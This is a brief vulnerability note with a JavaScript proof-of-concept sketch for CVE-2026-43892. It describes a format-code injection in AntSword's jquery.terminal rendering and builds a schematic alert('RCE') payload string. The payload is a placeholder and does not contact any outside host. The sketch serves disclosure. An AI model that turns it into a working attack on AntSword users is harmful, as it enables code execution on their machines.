CVE-2026-43892 AntSword远程代码执行漏洞

// PoC Concept for CVE-2026-43892 // This demonstrates the payload structure that exploits the jquery.terminal format injection. // The vulnerability lies in the 'noxss()' function failing to sanitize format codes. // jquery.terminal allows formatting like [[class;style;]text]. // By injecting a specific format, we can achieve RCE. // Malicious payload to be sent to the server (e.g., via webshell response) let payload = "[[;red;]Normal Text]][[ ; malicious_code_execution ; ]]alert('RCE');"; // In a real scenario, this payload would be echoed by the server. // When AntSword < 2.1.16 renders this, the malformed format code triggers JS execution. console.log("Payload generated: " + payload);